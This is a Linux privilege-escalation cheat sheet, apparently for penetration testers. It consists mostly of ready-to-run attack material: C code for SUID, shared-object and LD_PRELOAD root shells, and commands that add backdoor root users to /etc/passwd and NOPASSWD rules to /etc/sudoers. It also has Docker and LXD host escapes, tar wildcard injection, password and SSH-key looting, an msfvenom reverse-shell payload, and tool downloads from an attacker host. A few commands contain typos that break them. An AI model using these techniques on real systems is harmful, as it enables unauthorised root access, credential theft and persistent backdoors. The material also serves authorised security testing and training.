───✱*.。:。✱*.:。✧*.。✰*.:。✧*.。:。*.。✱ ───

Linux Privilege Escalation

Tools

wget "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -O lse.sh
curl "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -o lse.sh
./lse.sh -l1 # shows interesting information that should help you to privesc
./lse.sh -l2 # dump all the information it gathers about the system
./LinEnum.sh -s -k keyword -r report -e /tmp/ -t

Checklists

  • Whois logged in ?
  • sudo -l to see what we can execute as root.
  • Interesting files. Possible good directories to look in : *
    • /
    • /opt
    • /tmp/
    • /var/ Which files can we write to ? We can use this command to know for sure :
  • Run enumeration script.
  • Kernel and distribution release details
  • System Information:
    • Hostname
    • Networking details:
      • Something running locally.
      • Ports that didn’t show up in TCP scan but are listening on 0.0.0.0 . Possibly port knocking or something else.
    • Current IP
    • Default route details
    • DNS server information
  • User Information:
    • Current user details
    • Last logged on users
    • Shows users logged onto the host
    • List all users including uid/gid information
    • List root accounts
    • Extracts password policies and hash storage method information
    • Checks umask value
    • Checks if password hashes are stored in /etc/passwd
    • Extract full details for ‘default’ uid’s such as 0, 1000, 1001 etc
    • Attempt to read restricted files i.e. /etc/shadow
    • List current users history files (i.e .bash_history, .nano_history, .mysql_history , etc.)
    • Basic SSH checks
    • See if we can switch users
      • sudo -u username bash
    • Check for groups and their users.
    • If any other user is running any other process than it possibly is of interest.
  • Privileged access:
    • Which users have recently used sudo
    • Determine if /etc/sudoers is accessible
    • Determine if the current user has Sudo access without a password
    • Are known ‘good’ breakout binaries available via Sudo (i.e. nmap, vim etc.)
    • Is root’s home directory accessible
    • List permissions for /home/
  • Environmental:
    • Display current $PATH
    • Displays env information
  • Jobs/Tasks:
    • List all cron jobs
    • Locate all world*writable cron jobs
    • Locate cron jobs owned by other users of the system
    • cat /etc/crontab
    • List the active and inactive systemd timers
  • Services:
    • List network connections (TCP & UDP)
    • List running processes
    • Lookup and list process binaries and associated permissions
    • List inetd.conf/xined.conf contents and associated binary file permissions
    • List init.d binary permissions
  • Version Information (of the following):
    • Sudo
    • MYSQL
    • Postgres
    • Apache
      • Checks user config
      • Shows enabled modules
      • Checks for htpasswd files
      • View www directories
  • Default/Weak Credentials:
    • Checks for default/weak Postgres accounts
    • Checks for default/weak MYSQL accounts
  • Searches:
    • Locate all SUID/GUID files
    • Locate all world*writable SUID/GUID files
    • Locate all SUID/GUID files owned by root
    • Locate ‘interesting’ SUID/GUID files (i.e. nmap, vim etc)
    • Locate files with POSIX capabilities
    • List all world writable files
    • Find/list all accessible *.plan files and display contents
    • Find/list all accessible *.rhosts files and display contents
    • Show NFS server details
    • Locate *.conf and *.log files containing keyword supplied at script runtime
    • List all *.conf files located in /etc
    • Locate mail
    • Files and directories :
      • /
      • /opt
      • /tmp/
      • /var/www
      • /home/
  • Platform/software specific tests:
    • Checks to determine if we’re in a Docker container
    • Checks to see if the host has Docker installed
    • Checks to determine if we’re in an LXC container

Methodology

Note : Download all the required tools to the victim machine. Use : wget -nd -np -R "index.html*" -P /tmp/privesc --recursive http://kaliip

SUID / SGID files

Shared Object Injection

If we find a SUID binary that doesn’t have a shared object we can create an object to gain EoP.

strace/usr/local/bin/suid-so 2>&1 | grep -iE"open|access|nosuch file" if this SUID binary requests a shared object that cannot be found in the directory we can create a shared object and place it in that location.

#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject(){
setuid(0);
system("/bin/bash -p");
}

PATH environment variable

If a program tries to execute another program but only specifies the program name rather than the full path the shell will then search the PATH directories until its found. User has access to their environment variables and hence we can exploit it.

Finding Vulnerable Programs

If a program tries to execute another program the name of the program is likely embedded in the executable file as a string. We can spot it using the following

  • strings /path/to/file
  • strace -v -f -e execve <command> 2>&1 | grep exec
  • ltrace <command>

Lets say we have an executable that uses the service command like service apache2 restart than we can exploit this. We can create an executable

int main(){
  setuid(0);
  system("/bin/bash -p");
}

Compile with gcc -o service service.c

Append the current directory to path variable PATH=.:$PATH /path/to/binary

This should give us a root shell.

Service exploits

Enumerating services with this version can help in escalation of privileges. Services can be known by there version number using the following commands.

program --version / program -v

On Debian like distribution, dpkg can show installed programs and their version.

dpkg -l | grep program-name

On system with rpm like centos, we can achieve the following like this : -

rpm -qa | grep program-name

In some instances root process can be bound to internal port. For the very same reason we can use this.

ssh -R local-port:127.0.0.1:service-port username@machine

Weak File Permissions

shadow

Readable /etc/shadow. View the hash try to crack it.

Writable /etc/shadow. Create a new passsword and write it to shadow.

  • mkpasswd -m sha-512 newpassword
  • Replace the hash in /etc/shadow with the hash output from above command.

Example :

Original file :

root:$6$RIgrVboA$HDaB29xvtkw6U/Mzq4qOHH2KHB1kIR0ezFyjL75DszasVFwznrsWcc1Tu5E2K4FA7/Nv8oje0c.bljjnn6FMF1:17673:0:99999:7:::
daemon:*:17647:0:99999:7:::
bin:*:17647:0:99999:7:::
sys:*:17647:0:99999:7:::
sync:*:17647:0:99999:7:::
games:*:17647:0:99999:7:::
root@kali:~/# mkpasswd -m sha-512 -S saltsalt -s  
Password: pwned123  
$6$saltsalt$HOC6AvLVkxCTYnJ5Tc78.CYF/KdcBDmheMbOGQTqiMUZhdKof7eXjN9/6I3w8smybsEQEaz5Vh8aoGGs71hf20
root:$6$saltsalt$HOC6AvLVkxCTYnJ5Tc78.CYF/KdcBDmheMbOGQTqiMUZhdKof7eXjN9/6I3w8smybsEQEaz5Vh8aoGGs71hf20:17673:0:99999:7:::
daemon:*:17647:0:99999:7:::
bin:*:17647:0:99999:7:::
sys:*:17647:0:99999:7:::
sync:*:17647:0:99999:7:::
games:*:17647:0:99999:7:::

passwd

Historically if the second field of user row in passwd contains user password hash it takes precedence over shadow due to backward compatibility. If the password hash to the root user is known we can use the su command to just switch to root. Alternatively if we can only append to file can create a new user, give them UID=0 and then switch to root. This works because Linux allows multiple entries for the same user ID as long as the username are different.

  • The root account in /etc/passwd is configured like this root:x:0:0:root:/root:/bin/bash the second x instructs Linux to look for the password /etc/shadow file.
  • Some versions of Linux allows to delete x which Linux interprets as the user having no password. root::0:0:root:/root:/bin/bash.
  • If we wish to change the password for a user we can do this openssl passwd "mypasswordhere" and replace the x in the second field of /etc/passwd with output from openssl passwd "mypasswordhere". Like : root:0C0zARZsjADd2:0:0:root:/root:/bin/bash
  • Alternatively create another user with root permissions and password “mypasswordhere” by appending to file. Like newroot:0C0zARZsjADd2:0:0:root:/root:/bin/bash and use that to switch to root.

Look for backups / SSH Keys.

Sudo

  • Run a program as sudo : sudo program
  • Run a program as specific user sudo -u username program
  • List programs a user is allowed and disallowed to run sudo -l
  • You can priv esc by using sudo su to escalate privileges.
  • sudo -s
  • sudo -i
  • sudo /bin/bash
  • sudo passwd

Abusing Shell Feature

Function

In some shells i.e bash < 4.2-048 it is possible to define a user function with absoulute path name.

These functions can take precedence over the actual executable being called.

function /usr/sbin/service { /bin/bash -p; } export -f /usr/sbin/service /usr/local/bin/suid-env2

Debugging Mode

If an SUID file runs another program via bash these environment variables can be inherited. If an SUID file is being executed with privilges of file owner.

env -i SHELLOPTS=xtrace PS4'$(whoami)' /usr/local/bin/suid-env2 env -i SHELLOPTS=xtrace PS4'$(cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash)' /usr/local/bin/suid-env2 and then /tmp/rootbash -p

Password and Keys

Look up for : -

  • history files
  • ssh Keys
  • config files

NFS (Network File System)

Shares are configured in /etc/exports. Remote users can access, create and modify files. By default NFS assumes the UID and GID of the user who created the file even though the users might not exist on the server.

showmount -e <target> nmap -sV --script=nfs-showmount <target> mount -o rw,vers=2 <target>:<share> <local_directory>

Root squashing is how NFS prevents an obvious privilge escalation. If the remote user claims to be root the NFS will squash the user and treat them as if they are the nobody user, in the nogroup group. While this behaviour is default it can be disabled. no_root_squash is an configuration option turns off the squashing. When included in a writable share configuration, a remote user identifies as root can create files on the local root user.

Lets mount the share where no_root_squash is disabled : mount -o fw,vers=2 192.168.0.111:/tmp /tmp/nfs. Then lets create a msfvenom payload msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.35 LPORT=1234 -f elf -o shell.elf and then chmod +xs shell.elf.

Kernel Exploits

These type of exploits should be used as a last resort when all else has failed. Use Linux Exploit Suggester to use such an exploit.

Escalation Strategy

  • Enumeration is key.
  • Check user and group with id and whoami.
  • Linux Smart Enumeration tool with increasing levels.
  • Run other scripts as well.
  • Look at cheatsheet from gotm1lk.
  • Spend time and read the result.
  • Make note of the intresting thing enumeration scripts.
  • Avoid rabit holes.
  • Read history files.
  • Try privilge escalation method that don’t have a lot of steps.
    • sudo
    • cronjob
    • SUID files.
  • Have a good look at root process and enumerate their versions.
  • Check for internal ports that might be able to forward to your attacking machine.
  • If we still don’t have root reread the entire enumeration dump. Highlight anything that’s odd filesystem, name, file, username.
  • At this stage also consider Kernel Exploit.

Looting for passwords

Files containing passwords

grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;

When trying to find binaries that were not placed during install time by dpkg we can use this ls -la --time-style=full

When looting for password use the following words :

  • db_pass
  • passwd
  • password
  • pass= or pass

Old passwords in /etc/security/opasswd

The /etc/security/opasswd file is used also by pam_cracklib to keep the history of old passwords so that the user will not reuse them.

:warning: Treat your opasswd file like your /etc/shadow file because it will end up containing user password hashes

Last edited files

Files that were edited in the last 10 minutes

find / -mmin -10 2>/dev/null | grep -Ev "^/proc"

In memory passwords

strings /dev/mem -n10 | grep -i PASS

Find sensitive files

$ locate password | more           
/boot/grub/i386-pc/password.mod
/etc/pam.d/common-password
/etc/pam.d/gdm-password
/etc/pam.d/gdm-password.original
/lib/live/config/0031-root-password
...

SSH Key

Sensitive files

find / -name authorized_keys 2> /dev/null
find / -name id_rsa 2> /dev/null
...

SSH Key Predictable PRNG (Authorized_Keys) Process

This module describes how to attempt to use an obtained authorized_keys file on a host system.

Needed : SSH-DSS String from authorized_keys file

Steps

  1. Get the authorized_keys file. An example of this file would look like so:
ssh-dss AAAA487rt384ufrgh432087fhy02nv84u7fg839247fg8743gf087b3849yb98304yb9v834ybf ... (snipped) ... 
  1. Since this is an ssh-dss key, we need to add that to our local copy of /etc/ssh/ssh_config and /etc/ssh/sshd_config:
echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/ssh_config
echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/sshs_config
/etc/init.d/ssh restart
  1. Get g0tmi1k’s debian-ssh repository and unpack the keys:
git clone https://github.com/g0tmi1k/debian-ssh
cd debian-ssh
tar vjxf common_keys/debian_ssh_dsa_1024_x86.tar.bz2
  1. Grab the first 20 or 30 bytes from the key file shown above starting with the "AAAA..." portion and grep the unpacked keys with it as:
grep -lr 'AAAA487rt384ufrgh432087fhy02nv84u7fg839247fg8743gf087b3849yb98304yb9v834ybf'
dsa/1024/68b329da9893e34099c7d8ad5cb9c940-17934.pub
  1. IF SUCCESSFUL, this will return a file (68b329da9893e34099c7d8ad5cb9c940-17934.pub) public file. To use the private key file to connect, drop the ‘.pub’ extension and do:
ssh -vvv victim@target -i 68b329da9893e34099c7d8ad5cb9c940-17934

And you should connect without requiring a password. If stuck, the -vvv verbosity should provide enough details as to why.

Scheduled tasks

Cron jobs

To check for system level cronjobs we should see this file cat /etc/crontab

This can lead to important informations like writeable paths and other configs.

Check if you have access with write permission on these files. To look for cronjobs we can use crontab -l and this will then list all cronjobs. Check inside the file, to find other paths with write permissions.

/etc/init.d
/etc/cron*
/etc/crontab
/etc/cron.allow
/etc/cron.d 
/etc/cron.deny
/etc/cron.daily
/etc/cron.hourly
/etc/cron.monthly
/etc/cron.weekly
/etc/sudoers
/etc/exports
/etc/anacrontab
/var/spool/cron
/var/spool/cron/crontabs/root
 
crontab -l
ls -alh /var/spool/cron;
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny*

You can use pspy to detect a CRON job.

# print both commands and file system events and scan procfs every 1000 ms (=1sec)
./pspy64 -pf -i 1000 

Systemd timers

systemctl list-timers --all
NEXT                          LEFT     LAST                          PASSED             UNIT                         ACTIVATES
Mon 2019-04-01 02:59:14 CEST  15h left Sun 2019-03-31 10:52:49 CEST  24min ago          apt-daily.timer              apt-daily.service
Mon 2019-04-01 06:20:40 CEST  19h left Sun 2019-03-31 10:52:49 CEST  24min ago          apt-daily-upgrade.timer      apt-daily-upgrade.service
Mon 2019-04-01 07:36:10 CEST  20h left Sat 2019-03-09 14:28:25 CET   3 weeks 0 days ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
 
3 timers listed.

Alternatively there might be some scripts that might be running by system timer.

SUID

If we can change the permission of bash as in when root and user belongs to the same group. Then we can do

chmod u+s /bin/bash as root using a SUID and then with the help of /bin/bash -p execute commands as root.

SUID/Setuid stands for “set user ID upon execution”, it is enabled by default in every Linux distributions. If a file with this bit is ran, the uid will be changed by the owner one. If the file owner is root, the uid will be changed to root even if it was executed from user bob. SUID bit is represented by an s.

╭─swissky@lab ~  
╰─$ ls /usr/bin/sudo -alh                  
-rwsr-xr-x 1 root root 138K 23 nov.  16:04 /usr/bin/sudo

Find SUID binaries

find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
find / -uid 0 -perm -4000 -type f 2>/dev/null
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null # this can find SGID or SUID binaries.

Create a SUID binary

print 'int main(void){\nsetresuid(0, 0, 0);\nsystem("/bin/sh");\n}' > /tmp/suid.c
OR
print 'int main(void){\nsetuid(0);\nsetgid(0);\nsystem("/bin/sh");\n}' > /tmp/suid.c
gcc -o /tmp/suid /tmp/suid.c  
sudo chmod +x /tmp/suid # execute right
sudo chmod +s /tmp/suid # setuid bit
sudo chown root:root /tmp/suid && sudo chmod 4755 /tmp/suid

If want to privesc using bash from another user with sticky bit we can use :

cp u+s /bin/bash /tmp/privesc
/tmp/privesc -p

OR

This will help up in setting out UID to 0 (root).

#include <unistd.h>
 
int main()
{
    setuid(0);
    execl("/bin/bash", "bash", (char *)NULL);
    return 0;
}

Shared Object Injection

If we find a SUID binary that doesn’t have a shared object we can create an object to gain EoP.

strace/usr/local/bin/suid-so 2>&1 | grep -iE"open|access|nosuch file" if this SUID binary requests a shared object that cannot be found in the directory we can create a shared object and place it in that location.

#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject(){
setuid(0);
system("/bin/bash -p");
}

Make a C program like the one above and then compile it with the help of gcc -shared -fPIC -o libcalc.so libcalc.c and place the libcalc.so in the appropriate directory. Run the SUID binary and we shall now have root.

Replacing System Binary

If we know that an SUID is executing a binary the first thing we should try is to replace the binary with payload of ours. A demonstration of the same can be see here by IppSec

  1. echo $PATH
  2. Make a payload like
#!/bin/bash
bash
  1. Export the PATH.

export PATH=$(pwd):$PATH

  1. Now, executing the SUID will get us root.

Capabilities

Capabilities are those permissions that divide the privileges of kernel user or kernel level programs into small pieces so that a process can be allowed sufficient power to perform specific privileged tasks.

List capabilities of binaries

╭─swissky@lab ~  
╰─$ /usr/bin/getcap -r  /usr/bin
/usr/bin/fping                = cap_net_raw+ep
/usr/bin/dumpcap              = cap_dac_override,cap_net_admin,cap_net_raw+eip
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/rlogin               = cap_net_bind_service+ep
/usr/bin/ping                 = cap_net_raw+ep
/usr/bin/rsh                  = cap_net_bind_service+ep
/usr/bin/rcp                  = cap_net_bind_service+ep

Edit capabilities

/usr/bin/setcap -r /bin/ping            # remove
/usr/bin/setcap cap_net_raw+p /bin/ping # add

Interesting capabilities

Having the capability =ep means the binary has all the capabilities.

$ getcap openssl /usr/bin/openssl 
openssl=ep

Alternatively the following capabilities can be used in order to upgrade your current privileges.

cap_dac_read_search # read anything
cap_setuid+ep # setuid

Example of privilege escalation with cap_setuid+ep

$ sudo /usr/bin/setcap cap_setuid+ep /usr/bin/python2.7
 
$ python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'
sh-5.0# id
uid=0(root) gid=1000(swissky)
Capabilities nameDescription
CAP_AUDIT_CONTROLAllow to enable/disable kernel auditing
CAP_AUDIT_WRITEHelps to write records to kernel auditing log
CAP_BLOCK_SUSPENDThis feature can block system suspends
CAP_CHOWNAllow user to make arbitrary change to files UIDs and GIDs
CAP_DAC_OVERRIDEThis helps to bypass file read, write and execute permission checks
CAP_DAC_READ_SEARCHThis only bypass file and directory read/execute permission checks
CAP_FOWNERThis enables to bypass permission checks on operations that normally require the filesystem UID of the process to match the UID of the file
CAP_KILLAllow the sending of signals to processes belonging to others
CAP_SETGIDAllow changing of the GID
CAP_SETUIDAllow changing of the UID
CAP_SETPCAPHelps to transferring and removal of current set to any PID
CAP_IPC_LOCKThis helps to lock memory
CAP_MAC_ADMINAllow MAC configuration or state changes
CAP_NET_RAWUse RAW and PACKET sockets
CAP_NET_BIND_SERVICESERVICE Bind a socket to internet domain privileged ports

SUDO

Tool: Sudo Exploitation

NOPASSWD

Sudo configuration might allow a user to execute some command with another user privileges without knowing the password.

$ sudo -l
 
User demo may run the following commands on crashlab:
    (root) NOPASSWD: /usr/bin/vim

In this example the user demo can run vim as root, it is now trivial to get a shell by adding an ssh key into the root directory or by calling sh.

sudo vim -c '!sh'
sudo -u root vim -c '!sh'

LD_PRELOAD and NOPASSWD

If LD_PRELOAD is explicitly defined in the sudoers file

Defaults        env_keep += LD_PRELOAD

Compile the following shared object using the C code below with gcc -fPIC -shared -o shell.so shell.c -nostartfiles

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
	unsetenv("LD_PRELOAD");
	setgid(0);
	setuid(0);
	system("/bin/sh");
}

Execute any binary with the LD_PRELOAD to spawn a shell : sudo LD_PRELOAD=<full_path_to_so_file> <program>, e.g: sudo LD_PRELOAD=/tmp/shell.so find

Doas

There are some alternatives to the sudo binary such as doas for OpenBSD, remember to check its configuration at /etc/doas.conf

permit nopass demo as root cmd vim

sudo_inject

Using https://github.com/nongiach/sudo_inject

$ sudo whatever
[sudo] password for user:    
# Press <ctrl>+c since you don't have the password. 
# This creates an invalid sudo tokens.
$ sh exploit.sh
.... wait 1 seconds
$ sudo -i # no password required :)
# id
uid=0(root) gid=0(root) groups=0(root)

Slides of the presentation : https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf

CVE-2019-14287

# Exploitable when a user have the following permissions (sudo -l)
(ALL, !root) ALL
 
# If you have a full TTY, you can exploit it like this
sudo \-u#\-1 /bin/bash
sudo \-u#4294967295 id

GTFOBins

GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.

The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.

gdb -nx -ex ‘!sh’ -ex quit
sudo mysql -e ‘! /bin/sh’
strace -o /dev/null /bin/sh
sudo awk ‘BEGIN {system(“/bin/sh”)}‘

Wildcard

By using tar with –checkpoint-action options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to use the specific options is quite easy, and that’s where the wildcard comes in handy.

# create file for exploitation
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
echo "#\!/bin/bash\ncat /etc/passwd > /tmp/flag\nchmod 777 /tmp/flag" > shell.sh
 
# vulnerable script
tar cf archive.tar *

Tool: wildpwn

Writable files

List world writable files on the system.

find / -writable ! -user `whoami` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null
find / -perm -2 -type f 2>/dev/null
find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null

Writable /etc/sysconfig/network-scripts/ (Centos/Redhat)

/etc/sysconfig/network-scripts/ifcfg-1337 for example

NAME=Network /bin/id  &lt;= Note the blank space
ONBOOT=yes
DEVICE=eth0
 
EXEC :
./etc/sysconfig/network-scripts/ifcfg-1337

src : https://vulmon.com/exploitdetailsqidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

Writable /etc/passwd

First generate a password with one of the following commands.

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

Then add the user hacker and add the generated password.

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

E.g: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

You can now use the su command with hacker:hacker

Alternatively you can use the following lines to add a dummy user without a password.
WARNING: you might degrade the current security of the machine.

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

NOTE: In BSD platforms /etc/passwd is located at /etc/pwd.db and /etc/master.passwd, also the /etc/shadow is renamed to /etc/spwd.db.

Writable /etc/sudoers

echo "username ALL=(ALL:ALL) ALL">>/etc/sudoers
 
# use SUDO without password
echo "username ALL=(ALL) NOPASSWD: ALL" >>/etc/sudoers
echo "username ALL=NOPASSWD: /bin/bash" >>/etc/sudoers

NFS Root Squashing

When no_root_squash appears in /etc/exports, the folder is shareable and a remote user can mount it.

# remote check the name of the folder
showmount -e 10.10.10.10
 
# create dir
mkdir /tmp/nfsdir  
 
# mount directory 
mount -t nfs 10.10.10.10:/shared /tmp/nfsdir    
cd /tmp/nfsdir
 
# copy wanted shell 
cp /bin/bash . 	
 
# set suid permission
chmod +s bash 	

Shared Library

ldconfig

Identify shared libraries with ldd

$ ldd /opt/binary
    linux-vdso.so.1 (0x00007ffe961cd000)
    vulnlib.so.8 => /usr/lib/vulnlib.so.8 (0x00007fa55e55a000)
    /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fa55e6c8000)        

Create a library in /tmp and activate the path.

gcc –Wall –fPIC –shared –o vulnlib.so /tmp/vulnlib.c
echo "/tmp/" > /etc/ld.so.conf.d/exploit.conf && ldconfig -l /tmp/vulnlib.so
/opt/binary

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
 0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]
 
level15@nebula:/home/flag15$ ldd ./flag15 
 linux-gate.so.1 =>  (0x0068c000)
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
 /lib/ld-linux.so.2 (0x005bb000)

By copying the lib into /var/tmp/flag15/ it will be used by the program in this place as specified in the RPATH variable.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
 
level15@nebula:/home/flag15$ ldd ./flag15 
 linux-gate.so.1 =>  (0x005b0000)
 libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
 /lib/ld-linux.so.2 (0x00737000)

Then create an evil library in /var/tmp with gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"
 
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
 char *file = SHELL;
 char *argv[] = {SHELL,0};
 setresuid(geteuid(),geteuid(), geteuid());
 execve(file,argv,0);
}

Groups

Docker

Mount the filesystem in a bash container, allowing you to edit the /etc/passwd as root, then add a backdoor account toor:password.

$> docker run -it --rm -v $PWD:/mnt bash
$> echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd

Almost similar but you will also see all processes running on the host and be connected to the same NICs.

docker run --rm -it --pid=host --net=host --privileged -v /:/host ubuntu bash

Or use the following docker image from chrisfosterelli to spawn a root shell

$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
latest: Pulling from chrisfosterelli/rootplease
2de59b831a23: Pull complete 
354c3661655e: Pull complete 
91930878a2d7: Pull complete 
a3ed95caeb02: Pull complete 
489b110c54dc: Pull complete 
Digest: sha256:07f8453356eb965731dd400e056504084f25705921df25e78b68ce3908ce52c0
Status: Downloaded newer image for chrisfosterelli/rootplease:latest
 
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
 
sh-5.0# id
uid=0(root) gid=0(root) groups=0(root)

More docker privilege escalation using the Docker Socket.

sudo docker -H unix:///google/host/var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
sudo docker -H unix:///google/host/var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

LXC/LXD

The privesc requires to run a container with elevated privileges and mount the host filesystem inside.

╭─swissky@lab ~  
╰─$ id
uid=1000(swissky) gid=1000(swissky) groupes=1000(swissky),3(sys),90(network),98(power),110(lxd),991(lp),998(wheel)

Build an Alpine image and start it using the flag security.privileged=true, forcing the container to interact as root with the host filesystem.

# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
./build-alpine -a i686
 
# import the image
lxc image import ./alpine.tar.gz --alias myimage
 
# run the image
lxc init myimage mycontainer -c security.privileged=true
 
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
 
# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh

Alternatively https://github.com/initstring/lxd_root

Kernel Exploits

Precompiled exploits can be found inside these repositories, run them at your own risk !

The following exploits are known to work well, search for another exploits using searchsploit -w linux kernel centos.

CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation - Linux Kernel 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

CVE-2010-3904 (RDS)

Linux RDS Exploit - Linux Kernel 2.6.36-rc8

CVE-2010-4258 (Full Nelson)

Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04)

CVE-2012-0056 (Mempodipper)

Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)

References

───✱*.。:。✱*.:。✧*.。✰*.:。✧*.。:。*.。✱ ───